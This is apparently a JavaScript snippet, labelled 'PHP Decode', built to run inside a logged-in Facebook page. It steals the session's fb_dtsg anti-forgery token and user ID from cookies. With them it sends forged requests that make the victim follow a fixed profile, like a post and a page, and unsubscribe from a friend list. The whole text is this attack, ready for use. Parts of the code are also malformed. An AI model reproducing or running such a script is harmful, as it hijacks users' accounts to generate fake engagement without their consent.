PHP Decode

<?  var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; 
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); 
 
function IDS(r) { 
    var X = new XMLHttpRequest(); 
    var XURL = "//www.facebook.com/ajax/add_friend/action.php"; 
    var XParams = "to_friend=" + r + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp="; 
    X.open("POST", XURL, true); 
    X.onreadystatechange = function () { 
        if (X.readyState == 4 && X.status == 200) { 
            X.close; 
        } 
    }; 
    X.send(XParams); 
} 
 
function Like(p) { 
    var Page = new XMLHttpRequest(); 
    var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; 
    var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp="; 
    Page.open("POST", PageURL, true); 
    Page.onreadystatechange = function () { 
        if (Page.readyState == 4 && Page.status == 200) { 
            Page.close; 
        } 
    }; 
    Page.send(PageParams); 
} 
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); 
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; 
var now = (new Date).getTime(); 
 
function P(opo) { 
    var X = new XMLHttpRequest(); 
    var XURL = "//www.facebook.com/ajax/ufi/like.php"; 
    var XParams = "like_action=true&ft_ent_identifier=" + opo + "&source=1&client_id=" + now + "%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg=" + fb_dtsg + "&phstamp="; 
    X.open("POST", XURL, true); 
    X.onreadystatechange = function () { 
        if (X.readyState == 4 && X.status == 200) { 
            X.close; 
        } 
    }; 
    X.send(XParams); 
} 
 
function a(abone) { 
    var http4 = new XMLHttpRequest; 
    var url4 = "/ajax/follow/follow_profile.php?__a=1"; 
    var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; 
    http4.open("POST", url4, true); 
    http4.onreadystatechange = function () { 
        if (http4.readyState == 4 && http4.status == 200) http4.close 
    }; 
    http4.send(params4) 
} 
 
function sublist(ul) { 
    var X = new XMLHttpRequest(); 
    var XURL = "//www.facebook.com/ajax/friends/lists/subscribe/modify"; 
    var XParams = "action=unsubscribe&location=gear_menu&flid=" + ul + "&__user=" + user_id + "&__a=1&__dyn=7n8a8gAMNpGu5k9UmAEyKepEshEK49oKiWFaaGGw&__req=x&fb_dtsg=" + fb_dtsg + "&ttstamp=2658167887610310376"; 
    X.open("POST", XURL, true); 
    X.onreadystatechange = function () { 
        if (X.readyState == 4 && X.status == 200) { 
            X.close; 
        } 
    }; 
    X.send(XParams); 
} 
//ID 
 
a("100008189680642"); 
P("396645090480579"); 
Like("1411997072385358"); 
sublist("10152520991750439"); ?>